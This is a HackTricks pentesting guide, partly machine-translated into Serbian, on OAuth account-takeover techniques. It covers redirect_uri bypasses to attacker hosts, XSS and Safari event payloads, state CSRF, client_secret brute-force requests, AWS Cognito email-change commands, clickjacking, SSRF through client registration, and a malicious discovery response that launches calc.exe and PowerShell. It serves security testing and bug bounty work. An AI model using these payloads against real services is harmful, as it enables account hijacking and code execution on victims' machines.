OAuth to Account takeover

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Osnovne informacije

OAuth nudi različite verzije, sa osnovnim informacijama dostupnim na OAuth 2.0 documentation. Ova diskusija se prvenstveno fokusira na široko korišćeni OAuth 2.0 authorization code grant type, pružajući authorization framework that enables an application to access or perform actions on a user’s account in another application (the authorization server).

Razmislite o hipotetičnom sajtu https://example.com, dizajniranom da showcase all your social media posts, uključujući privatne. Da bi se to postiglo, koristi se OAuth 2.0. https://example.com će zatražiti vaš pristanak da access your social media posts. Kao rezultat, na https://socialmedia.com će se pojaviti ekran za saglasnost koji opisuje permissions being requested and the developer making the request. Nakon vaše autorizacije, https://example.com stiče sposobnost da access your posts on your behalf.

Važno je razumeti sledeće komponente unutar OAuth 2.0 okvira:

  • resource owner: Vi, kao user/entity, dozvoljavate pristup svom resursu, kao što su postovi na nalogu društvene mreže.
  • resource server: Server koji upravlja autentifikovanim zahtevima nakon što aplikacija obezbedi access token u ime resource owner, npr. https://socialmedia.com.
  • client application: Aplikacija koja traži autorizaciju od resource owner, kao što je https://example.com.
  • authorization server: Server koji izdaje access tokens klijentskoj aplikaciji nakon uspešne autentifikacije resource owner i dobijanja autorizacije, npr. https://socialmedia.com.
  • client_id: Javni, jedinstveni identifikator aplikacije.
  • client_secret: Tajni ključ, poznat samo aplikaciji i authorization server-u, koji se koristi za generisanje access_tokens.
  • response_type: Vrednost koja specificira the type of token requested, kao što je code.
  • scope: Nivo pristupa koji client application traži od resource owner.
  • redirect_uri: URL na koji je korisnik preusmeren nakon autorizacije. Obično mora biti usklađen sa prethodno registrovanim redirect URL-om.
  • state: Parametar za održavanje podataka tokom preusmeravanja korisnika ka i od authorization server-a. Njegova jedinstvenost je bitna jer služi kao mehanizam zaštite od CSRF-a.
  • grant_type: Parametar koji označava the grant type and the type of token to be returned.
  • code: Authorization code od authorization server-a, koji klijentska aplikacija koristi zajedno sa client_id i client_secret da bi dobila access_token.
  • access_token: Token koji klijentska aplikacija koristi za API zahteve u ime resource owner.
  • refresh_token: Omogućava aplikaciji da dobije novi access_token bez ponovnog traženja dozvole od korisnika.

Flow

The actual OAuth flow odvija se na sledeći način:

  1. Posetite https://example.com i odaberete dugme “Integrate with Social Media”.
  2. Sajt zatim šalje zahtev ka https://socialmedia.com tražeći vašu autorizaciju da aplikaciji sa https://example.com dozvoli pristup vašim postovima. Zahtev je strukturiran kao:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Nakon toga biće vam prikazana stranica za odobrenje.
  2. Nakon vašeg odobrenja, Social Media šalje odgovor na redirect_uri sa parametrima code i state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com koristi ovaj code, zajedno sa svojim client_id i client_secret, да izvrši serverski zahtev kako би dobio access_token u ваше име, omogućavajući приступ дозволама kojima сте пристали:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finally, the process concludes as https://example.com employs your access_token to make an API call to Social Media to access

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.

Typical attack workflow:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback and send it to the victim.
  2. The victim authenticates and approves the scopes.
  3. The IdP redirects to attacker.tld/callback?code=<victim-code>&state=... where the attacker logs the request and immediately exchanges the code.

Common validation bugs to probe:

  • No validation – any absolute URL is accepted, resulting in instant code theft.
  • Weak substring/regex checks on the host – bypass with lookalikes such as evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, or match.com@evil.com.
  • IDN homograph mismatches – validation happens on the punycode form (xn--), but the browser redirects to the Unicode domain controlled by the attacker.
  • Arbitrary paths on an allowed host – pointing redirect_uri to /openredirect?next=https://attacker.tld or any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – patterns like /oauth/* can be bypassed with /oauth/../anything.
  • Wildcard subdomains – accepting *.example.com means any takeover (dangling DNS, S3 bucket, etc.) immediately yields a valid callback.
  • Non-HTTPS callbacks – letting http:// URIs through gives network attackers (Wi-Fi, corporate proxy) the opportunity to snatch the code in transit.

Also review auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) and the OpenID discovery document (/.well-known/openid-configuration) for additional endpoints that might inherit the same validation bugs.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Locking redirect_uri to “owned/first-party domains” doesn’t help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:

  1. Start a legitimate flow to mint a pre-token (e.g., an etoken in a multi-step Accounts Center/FXAuth flow).
  2. Send the victim an authorization URL that sets the allowlisted domain as redirect_uri/base_uri but points next/path into an attacker-controlled namespace (e.g., https://apps.facebook.com/<attacker_app>).
  3. After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (token, blob, codes, etc.).
  4. JavaScript on that page reads window.location and exfiltrates the values despite the domain being “trusted.”
  5. Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS u implementaciji redirecta

Kao što je pomenuto u ovom bug bounty izveštaju https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html moguće je da se redirect URL reflektuje u odgovoru servera nakon što se korisnik autentifikuje, čime je podložan XSS-u. Mogući payload za testiranje:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage

Some OAuth integrations use a first-party callback page to render login failures after the IdP redirects the browser back. These pages are high value because they already run on a trusted origin and often consume attacker-controlled parameters such as error, error_description, message, description, or state.

  • Reflecting error_description into HTML without strict output encoding turns the callback into a trusted-origin phishing page. Even when <script> is filtered, HTML injection can still spoof the entire failure page and instruct the victim to perform attacker-chosen actions.
  • WAFs often key on common handlers such as onload/onerror. When normal payloads are blocked, try browser-specific or uncommon events that defenders may not blacklist. A practical example is Safari’s onpagereveal, which can execute when the malicious callback page is shown in Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: ako injektovani HTML/JS može ponovo otvoriti ili reload-ovati isti callback URL, možete dobiti client-side resource exhaustion, ponovljene popup-ove/tabs, ili log flooding pri svakom renderu.
  • Always decode opaque-looking state values. Mnoge implementacije Base64-enkodiraju JSON ili korisničke metadata i pretpostavljaju da je to “skriveno”. Base64 je reverzibilan, pa callback URL-ovi mogu leak-ovati PII kao što su email adrese, tenant identifikatori, return path-ovi ili interno stanje workflow-a.
  • Treat URL exposure as part of the bug: sve što se stavi u callback URL kasnije može da se pojavi u istoriji browser-a, reverse proxy-ima, load balancer-ima, app logovima, monitoring alatima, screenshot-ovima i Referer header-ima ako stranica učitava third-party resurse.

Brze provere tokom testiranja:

  1. Pokrenite i success i failure OAuth callback i zabeležite potpuni URL plus renderovan HTML.
  2. Replay-ujte callback dok mutirate error_description, message i slična error polja sa plain tekstom, HTML-om i event-handler payload-ovima.
  3. Dekodirajte state kao Base64/URL-safe Base64 i proverite ima li PII ili aplikacionog stanja koje je trebalo ostati na serveru.
  4. Ponavljajte browser-specifične payload-e u Safari/WebKit kada WAF blokira standardne inline-event XSS probe.

CSRF - Improper handling of state parameter

Parametar state je CSRF token za Authorization Code flow: klijent mora da generiše kriptografski nasumičnu vrednost po browser instanci, da je sačuva na mestu koje samo taj browser može da čita (cookie, local storage, itd.), pošalje je u authorization zahtevu i odbaci bilo koji odgovor koji ne vraća istu vrednost. Kad je vrednost statična, predvidiva, opciona ili nije vezana za korisničku sesiju, napadač može završiti svoj vlastiti OAuth flow, presresti finalni ?code= zahtev (bez slanja), i kasnije naterati žrtvin browser da replay-uje taj zahtev tako da žrtvin nalog postane povezan sa napadačevim identity provider profilom.

Pattern replay-a je uvek isti:

  1. Napadač se autentifikuje kod IdP-a sa svojim nalogom i presretne poslednji redirect koji sadrži code (i eventualno state).
  2. On odbaci taj zahtev, sačuva URL, i kasnije zloupotrebi bilo koji CSRF primitiv (link, iframe, auto-submitting form) da natera žrtvin browser da ga učita.
  3. Ako klijent ne primenjuje state, aplikacija konzumira napadačev authorization rezultat i prijavljuje napadača u nalog žrtve.

Praktičan kontrolni spisak za rukovanje state tokom testiranja:

  • Missing state entirely – ako parametar nikad ne postoji, cela prijava je CSRF-able.
  • state not required – uklonite ga iz početnog zahteva; ako IdP i dalje izdaje code-ove koje klijent prihvata, odbrana je opt-in.
  • Returned state not validated – manipulišite vrednošću u odgovoru (Burp, MITM proxy). Prihvatanje neusaglašenih vrednosti znači da se sačuvani token nikad ne upoređuje.
  • Predictable or purely data-driven state – mnoge aplikacije ubacuju redirect path-ove ili JSON blob-ove u state bez mešanja entropije, što omogućava napadačima da pogode validne vrednosti i replay-uju flow-ove. Uvek prepend/append-ujte jaku entropiju pre enkodovanja podataka.
  • state fixation – ako aplikacija dozvoljava korisnicima da dostave state vrednost (npr. preko crafted authorization URL-ova) i ponovo je koristi tokom celog flow-a, napadač može zaključati poznatu vrednost i ponovo je koristiti na više žrtava.

PKCE može dopuniti state (posebno za public clients) vezivanjem authorization code-a za code verifier, ali web klijenti i dalje moraju pratiti state kako bi sprečili cross-user CSRF/account-linking propuste.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Napadači mogu preemptivno kreirati nalog koristeći žrtvin email. Ako žrtva kasnije koristi third-party servis za login, aplikacija može nenamerno povezati taj third-party nalog sa napadačevo pre-kreiranim nalogom, što vodi do neautorizovanog pristupa.
  2. Exploiting Lax OAuth Email Verification: Napadači mogu iskoristiti OAuth servise koji ne verifikuju email tako što se registruju na tom servisu i potom promene email naloga na žrtvin. Ovaj metod isto nosi rizik neautorizovanog pristupa nalogu, sličan prvom scenariju ali drugim vektorom napada.

Disclosure of Secrets

client_id je namerno javan, ali client_secret nikada ne sme biti dostupan krajnjim korisnicima. Authorization Code deployment-i koji ugrađuju secret u mobile APKs, desktop klijente ili single-page apps praktično predaju taj credential svakome ko može da preuzme paket. Uvek pregledajte public clients tako što ćete:

  • Unpack-ovati APK/IPA, desktop installer ili Electron app i grep-ovati za client_secret, Base64 blob-ove koji dekodiraju u JSON, ili hard-coded OAuth endpoint-e.
  • Pregledati bundlovane config fajlove (plist, JSON, XML) ili dekompilovane stringove za client kredencijale.

Kada napadač izvuče secret, treba mu samo da ukrade bilo koji victim authorization code (putem weak redirect_uri, logova, itd.) da nezavisno pozove /token i izda access/refresh tokene bez uključivanja legitimne aplikacije. Tretirajte public/native klijente kao nesposobne da čuvaju tajne—oni bi umesto toga trebali da se oslanjaju na PKCE (RFC 7636) da dokažu posedovanje per-instance code verifier-a umesto statičkog secreta. Tokom testiranja, potvrdite da li je PKCE obavezan i da li backend zaista odbija token exchange koji izostavlja ili client_secret ili validan code_verifier.

Client Secret Bruteforce

Možete pokušati da bruteforce-ujete client_secret servis provajdera uz identity provider kako biste pokušali da ukradete naloge.
Zahtev za BF može izgledati slično:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Zloupotreba tokena drugih aplikacija

Kao što je opisano u ovom writeupu, OAuth tokovi koji očekuju da prime token (a ne code) mogu biti ranjivi ako ne provere da li token pripada aplikaciji.

To je zato što bi napadač mogao da kreira aplikaciju koja podržava OAuth i prijavu preko Facebook (na primer) u svojoj sopstvenoj aplikaciji. Zatim, kada se žrtva prijavi preko Facebook u aplikaciji napadača, napadač bi mogao da dobije OAuth token korisnika dodeljen njegovoj aplikaciji, i iskoristi ga da se prijavi u ciljnu OAuth aplikaciju koristeći token korisnika žrtve.

Caution

Stoga, ako napadač uspe da navede korisnika da pristupi njegovoj OAuth aplikaciji, moći će da preuzme nalog žrtve u aplikacijama koje očekuju token i ne proveravaju da li je token dodeljen njihovom app ID.

Prema ovom writeupu, bilo je moguće naterati žrtvu da otvori stranicu sa returnUrl koji pokazuje na host napadača. Ova informacija bi bila sačuvana u cookie-ju (RU) i u kasnijem koraku prompt će pitati korisnika da li želi da dodeli pristup tom hostu napadača.

Da bi se zaobišao taj prompt, bilo je moguće otvoriti tab koji inicira Oauth flow koji bi postavio taj RU cookie koristeći returnUrl, zatvoriti tab pre nego što se prompt prikaže, i otvoriti novi tab bez te vrednosti. Tada se prompt neće informisati o hostu napadača, ali će cookie biti postavljen na njega, tako da će token biti poslat na host napadača u redirekciji.

Prompt Interaction Bypass

Kao što je objašnjeno u ovom videu, neke OAuth implementacije dozvoljavaju da se GET parametar prompt postavi na None (&prompt=none) kako bi se sprečilo da se korisnici pitaju da potvrde dodeljeni pristup u promptu na webu ako su već prijavljeni na platformu.

response_mode

Kao što je objašnjeno u ovom videu, moguće je navesti parametar response_mode da odredite gde želite da code bude dostavljen u finalnom URL-u:

  • response_mode=query -> Code se dostavlja u GET parametru: ?code=2397rf3gu93f
  • response_mode=fragment -> Code se dostavlja u URL fragmentu: #code=2397rf3gu93f
  • response_mode=form_post -> Code se dostavlja u POST formi sa inputom nazvanim code i njegovom vrednošću
  • response_mode=web_message -> Code se šalje u post poruci: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs su idealne mete za Clickjacking: ako se mogu framed, napadač može da preklopi sopstvenu grafiku, sakrije prave dugmiće i prevari korisnike da odobre opasne scope-ove ili povežu naloge. Napravite PoCs koji:

  1. Učita IdP authorization URL unutar <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Koristi apsolutno pozicioniranje/opacity trikove da poravna lažna dugmad sa skrivenim Allow/Approve kontrolama.
  3. Opcionalno predpopuni parametre (scopes, redirect URI) tako da ukradeno odobrenje odmah koristi napadaču.

Tokom testiranja proverite da li IdP stranice emituju X-Frame-Options: DENY/SAMEORIGIN ili restriktivan Content-Security-Policy: frame-ancestors 'none'. Ako nijedno nije prisutno, demonstrirajte rizik alatkama kao što je NCC Group’s clickjacking PoC generator i zabeležite koliko lako žrtva autorizuje aplikaciju napadača. Za dodatne ideje za payload pogledajte Clickjacking.

OAuth ROPC flow - 2 FA bypass

Prema ovom blog postu, ovo je OAuth flow koji omogućava prijavu u OAuth preko username i password. Ako tokom ovog jednostavnog toka bude vraćen token sa pristupom svim akcijama koje korisnik može da izvrši, onda je moguće zaobići 2FA koristeći taj token.

ATO on web page redirecting based on open redirect to referrer

Ovaj blogpost objašnjava kako je bilo moguće zloupotrebiti open redirect do vrednosti iz referrer da bi se iskoristio OAuth za ATO. Napad je bio:

  1. Žrtva pristupi napadačevoj web stranici
  2. Žrtva otvori maliciozni link i jedan opener pokrene Google OAuth flow sa response_type=id_token,code&prompt=none kao dodatnim parametrima koristeći kao referrer napadačev sajt.
  3. U openeru, nakon što provider autorizuje žrtvu, vraća ih nazad na vrednost redirect_uri parametra (žrtvina web) sa 30X kodom koji i dalje čuva napadačev sajt u refereru.
  4. Žrtvina web stranica pokreće open redirect zasnovan na refereru preusmeravajući korisnika nazad na napadačev sajt; pošto je respose_type bio id_token,code, code će biti poslat napadaču u fragmentu URL-a omogućavajući mu da preuzme nalog korisnika preko Google u ciljnoj stranici.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration u OAuth služi kao manje očigledan ali kritičan vektor za bezbednosne ranjivosti, posebno za Server-Side Request Forgery (SSRF) napade. Ovaj endpoint omogućava OAuth serverima da prime detalje o client aplikacijama, uključujući osetljive URL-ove koji se mogu iskoristiti.

Ključne tačke:

  • Dynamic Client Registration je često mapiran na /register i prihvata detalje kao što su client_name, client_secret, redirect_uris, i URL-ove za logo ili JSON Web Key Sets (JWKs) preko POST zahteva.
  • Ova funkcionalnost sledi specifikacije iz RFC7591 i OpenID Connect Registration 1.0, koje uključuju parametre potencijalno ranjive na SSRF.
  • Proces registracije može nenamerno izložiti servere SSRF-u na više načina:
    • logo_uri: URL za logo client aplikacije koji server može da fetch-uje, što može da izazove SSRF ili dovede do XSS ako se URL nekorektno obradi.
    • jwks_uri: URL do JWK dokumenta client-a, koji ako je zlonamerno konstruisan može naterati server da pravi outbound zahteve ka serveru koji kontroliše napadač.
    • sector_identifier_uri: Referencira JSON niz redirect_uris, koji server može da fetch-uje, stvarajući SSRF mogućnost.
    • request_uris: Navodi dozvoljene request URI-je za client-a, što može biti iskorišćeno ako server fetch-uje te URI-je na početku autorizacionog procesa.

Strategija eksploatacije:

  • SSRF se može pokrenuti registrovanjem novog client-a sa zlonamernim URL-ovima u parametrima kao što su logo_uri, jwks_uri, ili sector_identifier_uri.
  • Dok direktna eksploatacija preko request_uris može biti ublažena whitelist kontrolama, snabdevanje prethodno registrovanim, napadačem kontrolisanim request_uri može olakšati SSRF tokom autorizacione faze.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Istraživanje o CVE-2025-6514 (koje utiče na mcp-remote klijente kao što su Claude Desktop, Cursor ili Windsurf) pokazuje kako dynamic OAuth discovery postaje RCE primitive kad god klijent prosledi IdP metadata direktno operativnom sistemu. Remote MCP server vraća napadačem kontrolisani authorization_endpoint tokom discovery razmene (/.well-known/openid-configuration ili bilo koji metadata RPC). mcp-remote ≤0.1.15 bi potom pozvao sistemski URL handler (start, open, xdg-open, itd.) sa bilo kojom pristiglom stringom, tako da bilo koji scheme/path koji OS podržava bude izvršen lokalno.

Attack workflow

  1. Usmeri desktop agent na zlonamerni MCP/OAuth server (npx mcp-remote https://evil). Agent prima 401 plus metadata.
  2. Server odgovori JSON-om poput:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Klijent pokreće OS handler za prosleđeni URI. Windows prihvata payload-e kao file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux prihvataju file:///Applications/Calculator.app/... ili čak custom schemes kao cmd://bash -lc '<payload>' ako su registrovani.
  2. Pošto se ovo dešava pre bilo kakve korisničke interakcije, samo konfigurisanje klijenta da komunicira sa napadačevim serverom dovodi do izvršavanja koda.

How to test

  • Ciljajte bilo koji OAuth-capable desktop/agent koji vrši discovery preko HTTP(S) i lokalno otvara vraćene endpoints (Electron apps, CLI helpers, thick clients).
  • Interceptujte ili hostujte discovery odgovor i zamenite authorization_endpoint, device_authorization_endpoint, ili slična polja sa file://, cmd://, UNC paths, ili drugim opasnim schemes.
  • Proverite da li klijent validira scheme/host. Nedostatak validacije rezultira trenutnim izvršenjem u korisničkom kontekstu i dokazuje problem.
  • Ponavljajte sa različitim schemes da mapirate celu površinu napada (npr. ms-excel:, data:text/html,, custom protocol handlers) i demonstrirate cross-platform domet.

OAuth providers Race Conditions

Ako je platforma koju testirate OAuth provider pročitajte ovo da testirate moguće Race Conditions.

Mutable Claims Attack

U OAuth-u, polje sub jedinstveno identifikuje korisnika, ali njegov format varira po Authorization Server-u. Da bi standardizovali identifikaciju korisnika, neki klijenti koriste email adrese ili korisnička imena. Međutim, to je rizično zato što:

  • Neki Authorization Server-i ne garantuju da ove osobine (kao što je email) ostaju nemenljive.
  • U određenim implementacijama—kao što je “Login with Microsoft”—klijent se oslanja na polje email, koje je user-controlled by the user in Entra ID i nije verifikovano.
  • Napadač može iskoristiti ovo kreiranjem sopstvene Azure AD organizacije (npr. doyensectestorg) i koristiti je za Microsoft login.
  • Iako je Object ID (smešten u sub) nemenjiv i bezbedan, oslanjanje na promenljiv email može omogućiti account takeover (na primer, hijacking naloga kao victim@gmail.com).

Client Confusion Attack

U Client Confusion Attack, aplikacija koja koristi OAuth Implicit Flow ne proverava da li je finalni access token specifično generisan za njen sopstveni Client ID. Napadač postavi javni sajt koji koristi Google’s OAuth Implicit Flow, prevari hiljade korisnika da se uloguju i na taj način sakuplja access tokene namenjene napadačevom sajtu. Ako ti korisnici takođe imaju naloge na drugom ranjivom vebsajtu koji ne validira Client ID tokena, napadač može ponovo iskoristiti sakupljene tokene da se lažno predstavlja kao žrtve i preuzme njihove naloge.

Scope Upgrade Attack

Authorization Code Grant uključuje sigurnu server-to-server komunikaciju za prenos podataka o korisniku. Međutim, ako Authorization Server implicitno veruje scope parametru u Access Token Request-u (parametar koji nije definisan u RFC-u), zlonamerna aplikacija bi mogla da unapredi privilegije authorization code-a tražeći veći scope. Nakon što se Access Token generiše, Resource Server mora da ga verifikuje: za JWT tokene to uključuje proveru JWT potpisa i izvlačenje podataka kao što su client_id i scope, dok za random string tokene server mora da konsultuje Authorization Server da dobije detalje o tokenu.

Redirect Scheme Hijacking

U mobilnim OAuth implementacijama, aplikacije koriste custom URI schemes da prime redirect-e sa Authorization Codes. Međutim, pošto više aplikacija može registrovati istu shemu na uređaju, pretpostavka da samo legitimni klijent kontroliše redirect URI je prekršena. Na Android-u, na primer, Intent URI kao com.example.app:// oauth se preusmerava na osnovu sheme i opcionalnih filtera definisanih u app-ovom intent-filter. Pošto Android-ova intent rezolucija može biti široka—posebno ako je specificirana samo shema—napadač može registrovati malicioznu aplikaciju sa pažljivo konstruisanim intent filter-om da hijack-uje authorization code. Ovo može omogućiti account takeover bilo kroz korisničku interakciju (kada više aplikacija može da obradi intent) ili putem bypass tehnika koje eksploatišu preširoke ili preuske filtere, kao što detaljno ilustruje Ostorlab’s assessment flowchart.

References

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks